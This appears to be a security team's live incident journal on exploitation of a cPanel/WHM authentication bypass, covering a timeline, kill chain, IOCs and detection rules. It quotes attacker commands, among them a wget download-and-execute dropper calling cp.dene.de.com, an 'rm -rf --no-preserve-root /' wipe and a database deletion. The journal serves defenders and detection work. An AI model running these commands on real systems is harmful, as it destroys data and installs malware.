Skip to main content
rfxn
//
cpanelcveincident-responsekill-chainiocbattle-journalactive-incident

Field Notes: CVE-2026-41940 Exploitation in the Wild

Ryan MacDonald16 min read
Active incidentCVE-2026-41940 · cPanel/WHM SessionScribeMost recent Pattern X event: 2026-05-02 11:33 UTC

This is a live, ongoing incident. New patterns, attacker IPs, and IOCs are still surfacing as we publish; we update this page as they do, and section anchors stay stable so cross-links keep resolving. Latest beats: the verdict-engine gap (51 hosts running active malware on the fleet, 34 of them CLEAN-rated by the session-forensic engine), the sleeper-attacker doctrine for hosts that were vulnerable in the pre-mitigation window, and two new destructive patterns (K and L). Primitive analysis is in the companion write-up.

This is a field journal of what we observed during the opening week of CVE-2026-41940 exploitation in the wild, and what we continue to surface in the days after. The companion to this piece is our reverse-engineering write-up of the underlying primitive and the patch that closes it. That article describes what the bug is; this one describes what we saw it do. We are deliberately not naming providers, victims, or quantifying scope. The IOCs, attacker IPs, operator tells, and command patterns are the parts a defender actually needs.

The journal is structured chronologically through the 04-11 → 05-02 opening window: a 17-day quiet probing arc, then vendor disclosure, then a 72-hour exploitation surge once a public PoC dropped. A worked-example kill-chain analysis from the on-host scanner output sits in the middle. The pattern catalog and the three-script operator toolkit at the end are what we are running detection and posture against today; both grow as new evidence comes in.

Source· GPL v2· Issues open

github.com/rfxn/cpanel-sessionscribe

Canonical source for sessionscribe-ioc-scan.sh, sessionscribe-mitigate.sh, sessionscribe-remote-probe.sh, sessionscribe-revsnap.sh, and the ModSecurity rule pack referenced throughout this journal. Mirror of the sh.rfxn.com one-liners with history, issues, and tags.

View on GitHub
main
Battle Journal·2026-04-11 → 2026-05-02 (UTC)

CVE-2026-41940 (cPanel/WHM SessionScribe): field notes

First probe
2026-04-11T05:32Z
Vendor disclosure
2026-04-28T17:05Z
Public CVE
2026-04-29T19:46Z
Most recent event
2026-05-02T11:33Z
TL;DRActive · Live updateCVE-2026-41940 · cPanel/WHM
The chain
Layered, not parallel. Every confirmed compromise we examined ran the same upstream chain (Pattern XDEF). Only the destructive terminal stage varied (A, B, C, H). That is one toolkit shared, not independent attacker workflows.
Multi-tool
Multi-tool activity, suggestive tells. Three websocket-Shell dimension fingerprints (24×80, 24×120, 24×134) plus distinct UA families (Go-http-client automation, browser-driven Firefox, browser-driven Chrome/Opera) point to at least two or three concurrent toolchains. Both signals are spoofable, so treat them as tells, not forensic-grade attribution. The strongest multi-actor evidence is independent: at least one host took two end-to-end kill chains in a 51-minute window with no session-token reuse, and Pattern H's competitor-kill pkill -9 nuclear.x86 kswapd01 xmrig confirms cross-actor competition for the same vulnerable cohort.
First probe
2026-04-11 05:32 UTC. First Pattern X event observed in the wild: single IP, single host, canonical badpass shape (multi-linepass=field through saveSession(), injected cp_security_token=/cpsess[N], tfa_verified=1 with no real login). The 17-day quiet window starts here and runs through vendor disclosure on 04-28. The same source IP returns on subsequent days against different host sets, paced and surgical: an actor with a working primitive walking a target list, not a scanner.

The First Probe#

The earliest Pattern X event we have on disk lands on 2026-04-11 at 05:32 UTC. One IP, one host, the canonical badpass session shape: a session file written through saveSession() with a multi-line pass= field, an injected cp_security_token=/cpsess[N], and tfa_verified=1 without a real login. That is the bug working.

The probing was paced. Same IP would return on a different day, walk a small set of unrelated targets inside a six-hour window, then disappear. The targets had nothing in common except running a vulnerable cPanel/WHM version. This is not a scanner spraying the internet; this is an actor with a working primitive walking a target list.

Probe2026-04-11T05:32ZFirst Pattern X event observed
Single IP, single host, canonical badpass shape. Session file written verbatim through saveSession(); no other stage activity for the rest of the day.

The Quiet Window

2026-04-12 → 2026-04-27#

For the next sixteen days the same shape repeats. Pattern X events arrive in small daily batches with a peak around 11/day across the population we monitor. None of these probes translate into Pattern D recon or any post-attack stage during the window. Either the actor was characterizing the bug without using it, or the activity-stage code was being held back deliberately.

Two things distinguish this window from generic scanner noise:

  • Surgical target selection. An operator walking a list rather than a scanner sweeping a /16: small host sets, no obvious shared identifier, paced in blocks.
  • Single-IP recurrence. The same source IPs return across multiple days, against partially overlapping target sets. A scanner moves on.
Probe2026-04-15Repeat actor returns
Same source IP from 04-11 revisits a different host set inside a roughly six-hour block. No interactive stage follows. Pacing rules out an automated scanner.
Probe2026-04-23Multi-IP cluster, identical session shape
Five distinct source IPs hit different hosts in the same 12-hour window, each producing identical session-file fingerprints. Session shape is now a reliable IOC; the source IPs are not yet attribution.

Disclosure & Public CVE#

Day 17 reframes everything that came before. cPanel published KB 40073787579671 at 2026-04-28 17:05 UTC, filed only as an unauthenticated authentication bypass with no CVE assigned. The URL is publicly reachable but distributed through the providers KB feed, so in practice it landed as a vendor disclosure to providers, not a wide announcement.

The patched build shipped about four hours later, at 21:36 UTC (04:36 PM CT). That evening we reverse-engineered the build (see our reverse-engineering write-up) to recover the underlying primitive, then swapped the broad first-wave rules for primitive-aware WAF signatures and host posture changes.

CVE-2026-41940 and a working PoC from watchTowr Labs landed 27 hours after the KB, on 04-29 at 19:46 UTC. That 27-hour KB-to-PoC gap was the entire defensive window any provider had before commodity exploitation began.

Disclose2026-04-28T17:05ZKB advisory: authentication bypass
cPanel posts KB 40073787579671 to the providers-channel advisory feed. Disclosed as an unauthenticated authentication bypass; no CVE assigned yet, just the KB ID. URL publicly reachable but not broadcast, patched build not yet shipped.
Defense2026-04-28T20:00ZFirst defensive wave
Broad ModSecurity rule pack and a CSF/APF cpsrvd-port scrub start rolling, drafted from the KB advisory ahead of the patched build. Pattern X surface is closed off at the WAF layer.
Milestone2026-04-28T21:36ZPatched build released
cPanel ships the patched WHM build at 04:36 PM CT (21:36 UTC), about 4.5 hours after the KB advisory and ~22 hours before the public CVE + watchTowr PoC.
Defense2026-04-29T02:00ZPatch reverse-engineered, targeted rules deployed
Evening of 04-28 CT we diff and reverse-engineer the patched WHM build to recover the underlying primitive. The broad first-wave rules are replaced with primitive-aware WAF signatures and host posture changes. Full write-up at cpanel-sessionscribe-cve-2026-41940.
Disclose2026-04-29T19:46ZPublic CVE + PoC published
CVE-2026-41940 is assigned and hits the wire. Working PoC from watchTowr published the same day. Probe activity converts to commodity exploitation traffic within hours.

The Floodgates

2026-04-30 → 2026-05-02#

The post-CVE window is what most defenders will see in their own logs. Pattern X events, which had been single-digit per day during the quiet window, jump by more than an order of magnitude. Pattern D recon traffic, which we had not seen at all pre-disclosure, appears immediately and consistently from the same Go-http-client UA against any host that does not have the WAF rules in place.

The destructive stages (A, B, C, H) cluster on day 04-30, which is the day after the public CVE and the first day of generalized operator activity. Hosts that had defenses landed before 04-29 19:46 UTCtook Pattern X attempts but no post-attack stages. Hosts that had not yet been reached by the rollout are where the destructive payloads landed.

Compromise2026-04-30Destructive payloads cluster
Patterns A, B, C, and H all appear on the same day. The upstream chain is uniform; only the terminal stage differs by operator. Same host had A and C stacked in at least one case we examined.
Probe2026-05-01Probe-traffic peak
Highest single-day Pattern X volume of the window. Floor of commodity exploitation; very little of it converts to successful destructive stage because the WAF rollout has largely caught up by this point.
Probe2026-05-02T11:33ZMost recent Pattern X event
Latest forged-session activity captured at the time of writing. The campaign is still active; this article is a snapshot of an ongoing investigation, not a post-mortem.

Worked Kill Chain: One Host, One Day#

Wide shot first, then per-stage detail. The diagram below maps the campaign window across the 22 days of activity: phase ribbon (zero-day → vendor disclosure → public CVE tail), the upstream chain every confirmed compromise ran, the destructive variants we saw at the terminal stage, and the three operator-tell buckets. Click to zoom.

The most useful thing we can hand to another defender is a walked-through kill chain on a single compromised host, with the artifacts the on-host scanner surfaces at each stage. The sequence below is what sessionscribe-ioc-scan.sh recovered on a host that took the full chain; hostnames and account names are redacted, everything else is on-disk evidence. The collapsible block at the end has the raw sectioned report for the same host.

Kill Chain· Pattern X to D to G to E to F to destructive

  1. 01Access

    Pattern X: Initial CRLF Authorization access

    An Authorization: Basic header lands on an existing session with a multi-line value. saveSession() writes it verbatim, and the resulting session file gets a token_denied=1 with an injected cp_security_token=/cpsess[N], plus origin_as_string carrying the attacker IP, and tfa_verified=1 despite no real login.

    • regex^pass=.*\n.
    • idtoken_denied=1 + cp_security_token=/cpsess[N]
    • idorigin_as_string=address=<IP>,app=whostmgrd,method=badpass
  2. 02Recon

    Pattern D: JSON-API enumeration

    Once the forged cpsess token is in hand, an automated Go-http-client agent walks /json-api/* in a deterministic order: version, gethostname, listaccts, getdiskusage, systemloadavg, getips. It then reads /etc/shadow, /etc/passwd, the full ~/.ssh key set, and /root/.aws/credentials via the Fileman API.

    • uaGo-http-client/1.1
    • cmd/json-api/listaccts
    • file/etc/shadow, /etc/passwd, /root/.ssh/id_*
  3. 03Persistence

    Pattern D: Reseller-as-persistence

    Same recon agent then issues /json-api/createacct + setupreseller + setacls + setresellerlimits, leaving a sptadm reseller with all-ACLs and a WHM_FullRoot API token. The token survives the cPanel patch and is the operator's way back in after remediation.

    • idusername=sptadm
    • iddomain=4ef72197.cpx.local
    • idcontactemail=a@exploit.local
    • cmdCREATEAPITOKEN ... WHM_FullRoot
  4. 04Persistence

    Pattern G: SSH key persistence (parallel layer)

    Non-standard ssh-rsa keys planted across /root/.ssh, /etc, and cron paths, with mtimes forged to 2019-12-13 to blend with provisioning artifacts. Comments include IP-labeled keys mimicking provider internal-key style. ctime gives them away; touch can backdate mtime and atime, not ctime.

    • cmdfind /root /etc /var/spool/cron -type f -exec grep -l 'ssh-rsa'
    • regex^[0-9.]{7,15} ssh-rsa
  5. 05Interactive

    Pattern E: Interactive websocket Shell

    Operators pivot from JSON-API into the WHM in-browser shell at /cpsess[N]/websocket/Shell. Three observed terminal-dimension fingerprints (24×80, 24×120, 24×134) plus distinct UA families separate the toolchains in use; both signals are spoofable, so treat them as tells, not forensic attribution.

    • regexGET /cpsess[0-9]+/websocket/Shell\?rows=
    • idrows=24&cols=80 (operator A)
    • idrows=24&cols=120 (operator B)
    • idrows=24&cols=134 (operator C)
  6. 06Harvester

    Pattern F: Automated agent harvester

    Inside the websocket shell a follow-up tool wraps every command with __S_MARK__/__E_MARK__ delimiters and harvests SSH keys, /etc/shadow (twice; likely retried), and every shell history file under /root and /home. The wrapper is the strong actor tell: a human does not type printf '__S_MARK__'; cmd; printf '__E_MARK__'.

    • regexprintf '__S_MARK__'.*printf '__E_MARK__'
    • cmdfind /root /home -maxdepth 3 -name '.bash_history'
  7. 07Destructive

    Destructive payload: multiple variants

    Terminal stage. Different operators on the same host have chosen different destructive payloads in the same window. The upstream chain (X → D → E → F) is identical across them; only the final stage diverges.

    1. 7.1Destructive

      Pattern A: .sorry encryptor + qTox ransom

      Encryptor binary masquerading as /root/sshd; encrypts user files plus system files (so an attempted in-place restore does not recover); drops README.md with a TOX ID; C2 over a single IP.

      • file/root/sshd (masquerades as ssh daemon)
      • hash2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a
      • ip68.183.190.253 (C2)
      • idqTox ID 3D7889AEC00F2325E1A3FBC0ACA4E521670497F11E47FDE13EADE8FED3144B5EB56D6B198724
    2. 7.2Destructive

      Pattern B: DB wipe + index.html ransom note

      Drops a BTC-ransom note in every /home/*/public_html/index.html (and nested directories), removes /var/lib/mysql/mysql, breaking MariaDB. Files are NOT encrypted; restore-from-backup recovers cleanly. Simpler stage than Pattern A.

      • idBTC bc1q9nh4revv6yqhj2gc5usncrpsfnh7ypwr9h0sp2
      • cmdrm -rf /var/lib/mysql/mysql
      • regexto recover your files, kindly send 0\.1 BTC
    3. 7.3Destructive

      Pattern C: Mirai / nuclear.x86 cryptominer

      Mirai-family dropper fetched from a hosting-redirector domain; binary lands at well-known paths and persistence is set via cron and systemd. Largest commodity-malware bucket of the campaign by host count.

      • filenuclear.x86 (Mirai variant)
      • ip87.121.84.78 (binary host)
      • idraw.flameblox.com (C2)
    4. 7.4Destructive

      Pattern H: seobot.php SEO defacement

      Per-site PHP webshell drop into every public_html, plus a competitor-kill bash_history (pkill -9 nuclear.x86 kswapd01 xmrig) and an ALLDONE marker. Confirms live cross-actor competition for the same vulnerable cohort.

      • file*/public_html/seobot.php
      • regexpkill -9 (nuclear\.x86|kswapd01|xmrig)
      • regexecho ALLDONE
    5. 7.5Destructive

      Pattern K: Cloudflare-fronted second-stage backdoor

      Cloudflare-fronted /Update fetch dropped through a self-cleaning /tmp/.u$$ trampoline. The dropper writes the binary, executes it, then rm's the file in the same line; on disk the only remaining trace is the .bash_history line itself, and only when history-time is enabled. Process IOC is unnamed-inode: /proc/<pid>/exe shows '(deleted)' while the binary stays resident.

      • regexF=/tmp/\.u(\$\$|[0-9]+)
      • idcp.dene.de.com (Cloudflare-fronted)
      • cmdlsof +L1 | awk '$NF == 0'
    6. 7.6Destructive

      Pattern L: rm -rf --no-preserve-root / filesystem nuke

      Filesystem-wiping detached rm. The --no-preserve-root flag is virtually never used in legitimate operations; coreutils added --preserve-root specifically to prevent accidental nukes. &disown detaches the rm from the controlling shell so the SSH session can exit cleanly while deletion continues. Symptom in the fleet: 'host went silent and won't boot' or 'every command returns command-not-found.' If caught mid-wipe, the rm is still in ps; immediate kill -9 is the only window to save residual data.

      • regexrm.*--no-preserve-root
      • cmdpgrep -af 'rm.*--no-preserve-root'
ExpandRaw sessionscribe-ioc-scan.sh v2.5.0 sectioned report (anonymized, ANSI stripped)

Real stderr output as rendered by the scanner's sectioned-report mode (default). Hostname, account names, session-file basename, and one source IP have been redacted; everything else is on-disk evidence. Section IDs (version, cpsrvd, iocscan, sessions, destruct) match the SECTION_ORDER array in the script.

bash
== version == cpanel -V vs published patched-build cutoffs
  [OK]    cpanel -V parsed: 11.130.0.18 (tier 130, build 18)
  [FAIL]  vendor cutoff for tier 130 is .19; this host is one build behind
  code_verdict: VULNERABLE

== patterns == static config-file patterns (ancillary; not CVE-driver)
  [OK]    /var/cpanel/cpanel.config: ProxyPass.cpanel = on
  [OK]    /etc/apache2/conf.d/modsec2.user.conf: 1500030 present
  [OK]    /etc/apache2/conf.d/modsec2.user.conf: 1500031 present

== cpsrvd == cpsrvd binary patch markers
  [WARN]  cpsrvd binary mtime predates vendor patch window
  [WARN]  filter_sessiondata symbol present; saveSession() path NOT routed
          through filter (matches pre-patch primitive)

== iocscan == access_log scan over 30d window
  [IOC]   192.81.219.190  badpass exploit  hits=14  2xx=11  ua=Go-http-client/1.1
  [IOC]   38.146.25.154   /json-api/createacct  hits=3   2xx=3   ua=Go-http-client/1.1
  [IOC]   192.81.219.190  /cpsess[REDACTED]/websocket/Shell?rows=24&cols=80
                          hits=2   ua=(none)
  [WARN]  attacker-IP traffic during recon-window (30d); escalates SUSPICIOUS

== sessions == session-store IOC ladder (vendor + CVE-2026-41940 ladder)
  scanned 47 session files under /var/cpanel/sessions/raw/
  [IOC]   [REDACTED].scribe : multi-line pass= field (CRLF injection)
  [IOC]   [REDACTED].scribe : token_denied=1 + injected cp_security_token=/cpsess[REDACTED]
  [IOC]   [REDACTED].scribe : origin_as_string=address=192.81.219.190,app=whostmgrd,method=badpass
  [IOC]   [REDACTED].scribe : tfa_verified=1 with no real login origin
  [ALERT] 4-of-4 CVE-2026-41940 co-occurrence on 1 session file
  [OK]    no PROBE_ARTIFACT canary; these are not from sessionscribe-remote-probe.sh
  host_verdict: COMPROMISED (1 session matches; 4-of-4 ladder)

== destruct == destruction IOC scan (Patterns A-J)
  [IOC]   Pattern D : /var/cpanel/accounting.log lines for sptadm reseller +
                     WHM_FullRoot CREATEAPITOKEN (timestamps 2026-04-30 06:18-06:21Z)
  [IOC]   Pattern G : 3 non-standard ssh-rsa keys in /root/.ssh/authorized_keys
                     mtime 2019-12-13 (forged), ctime 2026-04-30 06:14:22 (real)
  [IOC]   Pattern E : websocket Shell hit on 04-30 06:22Z, dimensions 24x80
  [IOC]   Pattern F : __S_MARK__/__E_MARK__ envelopes in /root/.bash_history
                     (15 wrapped commands, ~5h after stage 1)
  [IOC]   Pattern A : /root/sshd present
                     sha256 2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5a
                     C2 reachability test (-Z dryrun): 68.183.190.253 reachable
  [OK]    Pattern B : no /var/lib/mysql/mysql removal
  [OK]    Pattern C : no nuclear.x86, no Mirai-family persistence
  [OK]    Pattern H : no seobot.php in any docroot
  [OK]    Pattern J : no udev RUN+= 'at now' shape, no non-allowlist systemd ExecStart

== probe == localhost marker probe
  [SKIP]  --probe not requested

==============================================================================
Summary matrix
  version  : VULNERABLE  (tier 130 .18 vs cutoff .19)
  cpsrvd   : VULNERABLE  (saveSession path not filtered)
  iocscan  : COMPROMISED (Pattern X attacker IP, Pattern E pivot)
  sessions : COMPROMISED (4-of-4 ladder match on 1 session file)
  destruct : COMPROMISED (Patterns D+E+F+G+A confirmed; Pattern B/C/H/J clean)
  probe    : SKIP

code_verdict : VULNERABLE
host_verdict : COMPROMISED  (compromised host can also be vulnerable;
                              patch + mitigate after IR cleanup)
exit code    : 4

Operator Profiles#

Three toolchain fingerprints share the upstream chain and the JSON-API recon toolkit. They diverge at the interactive stage (websocket Shell dimensions) and at the UA string. The strongest case for treating these as separate operators is behavioral, not signature-based: at least one host took two end-to-end kill chains in a 51-minute window with no shared session token between them. Dimensions and UA strings are spoofable, so the cards below are best read as tooling buckets we observed in the wild, not named-actor attribution. Behavioral co-occurrence (timing, sequencing, post-shell command patterns) is what promotes a tooling bucket to a defensible operator claim.

Operatorop-AGo-http-client / 24×80 / Pattern D primary
ttp
Most disciplined of the three. Issues the canonical Pattern D recon sequence in deterministic order, opens a 24×80 websocket Shell, runs the __S_MARK__/__E_MARK__ harvester. Reseller persistence (sptadm + WHM_FullRoot API token) is its strongest persistence tell.
ips
192.81.219.19038.146.25.154
user-agents
Go-http-client/1.1

This operator is responsible for the cleanest, most repeatable kill chain we observed. Where Pattern D appears, this operator is almost always one of the actors involved. The Go-http-client UA and the consistent 24×80 dimensions suggest a single piece of automation rather than a person.

Operatorop-BMozilla/5.0 / 24×120 / browser-driven secondary
ttp
Operates the websocket Shell directly from a browser, dimensions 24×120: that is a person resizing a terminal pane to non-default width, not a tool. UA strings are real-browser plausible. Less recon discipline than Operator A; arrives after the cpsess token is already minted.
ips
149.102.229.144
user-agents
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Firefox/142.0

We see this operator on hosts that already have an active forged session from Operator A. The pattern looks like token reuse or token-handoff between members of the same crew, not independent compromise.

Operatorop-CMozilla/5.0 / 24×134 / non-default-width interactive
ttp
The toolchain that produces the 24×134 dimension. Browser-driven, similar TTPs to Operator B, but with measurably different terminal width and a different UA family. Recurs across the post-disclosure window from the same source IP.
ips
183.82.160.147
user-agents
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

The 24×134 dimension is the most operator-specific tell in the dataset because it is non-default for both terminal emulators and automation libraries; it strongly suggests a person sizing a terminal pane to a custom width. We see this fingerprint return on multiple hosts across the post-disclosure window, which makes it the most reliable of the three for cross-host correlation.

Pattern Catalog#

The thirteen patterns we are running detection against today. X is initial access; D / G / I / J are persistence; E / F are interactive; A / B / C / H / K / L are destructive terminal stages. The catalog is sequenced as the chain runs in the wild, not alphabetically. Two operational refinements landed this week: bare grep of nuclear.x86 in .bash_history is now a warning, not a compromise call (defender greps during incident verification dominate the FP class), and Pattern X alone with no follow-on stage is CLEAN, not “attempted” — post-disclosure the world is scanning, an unaccompanied access-primitive hit cannot gate operational action.

Pattern X·Access

Initial CRLF Authorization access

#stable

The bug working: a multi-line pass= field written through saveSession() produces a session file with a forged cpsess[N] token and tfa_verified=1. Universal across every confirmed compromise.

regex^pass=.*\n.
idtoken_denied=1 + cp_security_token=/cpsess[N]
idorigin_as_string=address=<IP>,app=whostmgrd,method=badpass
Pattern D·Recon

JSON-API enumeration + reseller persistence

#new

Two-phase. The recon side is a Go-http-client agent walking/json-api/*and the Fileman API. The persistence side creates a sptadm reseller and a WHM_FullRoot API token, both of which survive the cPanel patch and need separate revocation.

uaGo-http-client/1.1
idusername=sptadm
iddomain=4ef72197.cpx.local
idcontactemail=a@exploit.local
cmdCREATEAPITOKEN:root:root:not-applicable:WHM_FullRoot
ip96.30.39.236claimed source-IP in createacct accounting.log entry; IOC for join, not necessarily real origin
Pattern E·Interactive

websocket/Shell interactive RCE

#new

Once a forged session is in hand, operators pivot to /cpsess[N]/websocket/Shell for an interactive root shell. Three observed dimensions (24×80, 24×120, 24×134) separate the toolchains we observed, with the caveat that dimensions are passed in the request and are trivially spoofable.

regexGET /cpsess[0-9]+/websocket/Shell\?rows=
idrows=24&cols=80: Operator A
idrows=24&cols=120: Operator B
idrows=24&cols=134: Operator C
Pattern F·Harvester

Automated agent recon shell wrapper

#new

Inside the websocket shell, a follow-up tool wraps every command with __S_MARK__ and __E_MARK__ delimiters and harvests credentials, SSH keys, and shell history files. The wrapper is the strong actor tell: a human does not type these delimiters, so any host with the envelope in .bash_history has been touched by this specific tool.

regexprintf '__S_MARK__'.*printf '__E_MARK__'
cmdfind /root /home -maxdepth 3 -name '.bash_history' -exec cat
Pattern G·Persistence

SSH key persistence with mtime forging

#new

Non-standard ssh-rsa keys planted across /root/.ssh, /etc, and cron paths. Comments include IP-labeled keys mimicking provider internal-key style. Detection should rely on ctime, not mtime; touch backdates the latter two but cannot backdate the former.

cmdfind /root /etc /var/spool/cron -type f -exec grep -l 'ssh-rsa' +
regex^[0-9.]{7,15} ssh-rsa
Pattern A·Destructive

.sorry encryptor + qTox ransom

#stable

Encryptor binary masquerading as /root/sshd. Encrypts user files and system files (in-place restore fails; re-image required), drops a README with a TOX ID, C2 over a single IP. Files get the .sorry extension.

file/root/sshd
hash2fc0a056fd4eff5d31d06c103af3298d711f33dbcd5d122cae30b571ac511e5asha256
ip68.183.190.253C2
id3D7889AEC00F2325E1A3FBC0ACA4E521670497F11E47FDE13EADE8FED3144B5EB56D6B198724qTox ID
Pattern B·Destructive

DB wipe + index.html ransom note

#stable

Cheaper variant. Drops a BTC-ransom note in every /home/*/public_html/index.html and removes /var/lib/mysql/mysql. Files are not encrypted; restore-from-backup recovers cleanly.

idbc1q9nh4revv6yqhj2gc5usncrpsfnh7ypwr9h0sp2BTC address
regexto recover your files, kindly send 0\.1 BTC
Pattern C·Destructive

Mirai / nuclear.x86 cryptominer

#stable

Commodity Mirai-family dropper. Largest single bucket of the campaign by host count among the destructive variants. Persistence via cron and systemd; binary lands at well-known paths.

filenuclear.x86
ip87.121.84.78binary host
idraw.flameblox.comC2 / dropper
Pattern H·Destructive

seobot.php SEO defacement + competitor-kill

#new

Per-site PHP webshell drop into every public_html, preceded by a pkill against known competitor processes (nuclear.x86, kswapd01, xmrig) and a final ALLDONE marker. Confirms cross-actor competition for the same vulnerable cohort.

file*/public_html/seobot.php
regexpkill -9 (nuclear\.x86|kswapd01|xmrig)
regexecho ALLDONE
Pattern I·Persistence

profile.d service-stub backdoor

#evolving

A parallel persistence layer that surfaced in adjacent triage. A /etc/profile.d shim launches a non-standard binary at /root/.local/bin/system-service on every interactive shell login. Triggering on profile.d instead of cron means it fires more often and looks less like a scheduled task. Detection signal is a chmod permission-denied log line from a non-root shell login; that is exactly how it surfaced first.

file/etc/profile.d/system_profiled_service.sh
file/root/.local/bin/system-service
regexchmod: cannot access '/root/\.local/bin/system-service'
Pattern J·Persistence

init-facility persistence (udev rule + systemd unit)

#new

Newest persistence layer in the dossier (rev5, 2026-05-03). Operator drops one of two shapes that survive a session-store wipe and a cPanel patch: a /etc/udev/rules.d/*.rules file with a RUN+="...sh -c '... | at now'" body that backgrounds a payload fetch, or a /etc/systemd/system/*.service unit whose ExecStart points into /usr/share/ (per FHS, never a legit binary root) with a Description= that shadows a real systemd or cPanel service name. Both gates additionally require the file to be not RPM-owned; that single check is what keeps the false-positive rate near zero on a stock control- panel host.

regexRUN[+=]+=.*sh -c.*\|\s*at\s+now\b
file/etc/udev/rules.d/*.rules (non-RPM-owned)
file/etc/systemd/system/*.service (ExecStart=/usr/share/..., non-RPM-owned)
regex^Description=.*\b(dbus-broker|systemd-(resolved|networkd|timesyncd|logind|udevd)|cpsrvd|cphulkd|queueprocd|exim-altport|chkservd|tailwatchd|cpanel-dovecot)\b
ip45.92.1.188Pattern J operator (rev5 cohort)
Pattern K·Destructive

Cloudflare-fronted second-stage backdoor

#new

Cloudflare-fronted second-stage backdoor. The dropper line writes the binary through a self-cleaning trampoline:F=/tmp/.u$$; wget -O "$F" https://cp.dene.de.com/Update (orcurl -sk), chmod 755 "$F", "$F" -s, rm -f "$F". Once executed the only on-disk trace is the .bash_history line itself, and only when history-time is enabled. Bash records the literal $$ as typed, so the temp-filename idiom F=/tmp/\.u\$\$ is the cleanest fingerprint when the line survives.

regexF=/tmp/\.u(\$\$|[0-9]+)
idcp.dene.de.com (Cloudflare-fronted; do not blackhole at edge)
cmdlsof +L1 2>/dev/null | awk '$NF == 0 { print }'
cmdfind /proc/[0-9]*/exe -lname '*deleted*'
Pattern L·Destructive

rm -rf --no-preserve-root / filesystem nuke

#new

Filesystem-wipe terminal payload. A detached rm -rf --no-preserve-root / with &disown so the SSH session can exit cleanly while deletion continues. GNU coreutils added --preserve-root specifically to prevent accidental nukes; the explicit override flag is virtually never used in legitimate operations and is a strong IOC on its own. Symptoms in the fleet show up as “host went silent and won't boot” or “every command returns command-not-found.”

regexrm.*--no-preserve-root
cmdpgrep -af 'rm.*--no-preserve-root'

The Verdict-Engine Gap#

The most uncomfortable finding from the days after disclosure is architectural, not tactical. The on-host scanner is built around session-forensic evidence: the cpsrvd CRLF tells, the badpass markers, the cpsess[N]/websocket/Shell access lines, the harvester envelope. That answers “did Pattern X land here?” It does not answer “is the operator still here?” — and on a cohort that has been patched but is still running an attacker payload, the second question is the one that matters.

The numbers, 14,009-host snapshot (2026-05-05)

A telemetry walk over the latest envelope per source IP surfaced 51 hosts with at least one high-confidence active malicious-process IOC in the latest ps.txt. 34 of them are CLEAN-rated: entry-vector evidence aged out of the 90-day session window, but the payload is still resident. That is a 67% verdict-gap rate on a population the engine confidently labels safe.

The runtime shapes that turn up are bigger than the IC-5790 catalog and predate it: GSocket reverse-shell persistence loops with ~/.config/htop/defunct.dat (and gs-dbus / lscgib mask variants) using prctl(PR_SET_NAME) to spoof the procname; xmrig camouflaged as ./.ld-linux.so (the dynamic linker is a library, never an executable) or running in plain sight at /root/c3pool/xmrig; a PHP cron-bot loader at /tmp/codeItems3 calling home to 45.140.17.40 with a per-host api: header; a wget URL/atdu | perl drive-by loader running concurrently across eight distinct cPanel users on a single hosting fleet; and one novel implant on host.snap-itservices.com holding ESTAB outbound to 209.14.84.37:1220 from a process whose comm field and argv[0] are different high-entropy strings — surfaced only because two envelope sources agreed on the same PID, which no per-implant rule could have caught.

The fix is architectural: a parallel runtime track scored from ps.txt, connections.txt, lsof.txt, and captured shell histories, with verdict logic upgraded to host_verdict = max(session, runtime). Wallet matches and C2-IP-in-ESTAB are zero-FP and gate COMPROMISED on first hit; keyfile paths on disk survive reboots better than ps and are the cheapest persistence catch in the runtime track. The proposal is in flight for the next scanner release.

The editorial point is broader than the scanner. Every post-disclosure write-up of CVE-2026-41940 stops at the entry vector. None of the public reporting talks about what was installed in the months before the patch landed. That is the single biggest reason hosts that scan CLEAN today should not yet be considered safe.

Pivot indicators · fleet-wide hunt strings

  • Wallet (c3pool): 423Gvxk9VMFH3FUyurUNqFKrXvMgoWAJwM98uXbiCubJafBUUyvyeRLgQos3JSMfRBFtb8iFCahTx6K6nes7TkP75gXdoDj
  • Wallet (supportxmr, worker ngintil): 4AypWi9xNQvSy11FT5yr7Ajnyz2XuoUD7LGEJw4ZTRUHLrWjH1x5KoZUp9FTS4s9a5Y6Q7d4jSze4E6tq64aJTD2L7hnCrL
  • Custom GSocket relay: u.lihq.me
  • Keyfile glob: */.config/(htop|dbus)/(defunct|lscgib|gs-dbus).dat
  • Masquerade procnames: defunct, gs-dbus, lscgib, .ld-linux.so, ./https (with -a rx/0), ./python3 (with --donate-level)

Sleeper Attacker: the Pre-Mitigation Window#

Three pre-disclosure exploitation events sit in the corpus before the canonical 2026-04-11 first probe: testdev.halcyonplatinum.com on 2025-11-25, host.quickfix17.com on 2025-12-22 (the 24×134 websocket-Shell dimension fingerprint, four months pre-CVE), and web04.guestreservations.com from 192.63.172.156 on 2026-03-10. They are the leading edge of an exploitation arc public reporting now places as far back as late February 2026; our own corpus pushes that window further left.

A host that scans CLEAN today, on a build that was vulnerable during the pre-mitigation window, is not the same kind of CLEAN as a host that was never reachable. The scanner's answer is correct — no persistence / execution / payload artifact remains — but a smash-and-grab operator who took the credentials and walked leaves no on-disk trace behind. The credentials themselves become the persistence vector, used later through legitimate auth that does not look like an attack.

Pre-mitigation-window doctrine

Hosts that were vulnerable during the window and now scan CLEAN are RECOMMEND-ROTATE, not “fully safe.” The verdict label stays CLEAN; customer-comms layer adds “rotate credentials even though no artifact was found.” In practice that is /root/.ssh keys, /root/.aws/credentials, /root/.my.cnf, /etc/shadow hashes, every WHM_FullRoot API token issued before the patch landed, and any cluster replication keypair (lsyncd, GitOps deploy keys, rsync-over-ssh) where an upstream master was in the window — compromised master = all replicas compromised through the trust path.

The doctrine is not specific to CVE-2026-41940. Any management-plane bug with a months-long zero-day window produces the same shape: hosts where no artifact survives, but the operator left with everything. Naming the problem lets us tell the customer-comms story honestly without redefining CLEAN.

Cross-Provider Signal#

We've corroborated the upstream chain (Pattern X → D → E → F) against several peer providers running their own detection. The granular tells (operator dimensions, the harvester envelope, the reseller-as-persistence pattern) show up consistently, which is what gives us confidence the toolkit is shared.

What Worked, What Didn't#

A short, opinionated list. We're keeping this section generalizable: what would also be true for a similar incident tomorrow, not specifics about one provider's rollout.

Worked

  • ModSecurity rule pack landed inside the disclosure window, before the public PoC. The WAF layer is the right place to close Pattern X; it intercepts at the request stage, before saveSession() ever sees the malformed pass= field.
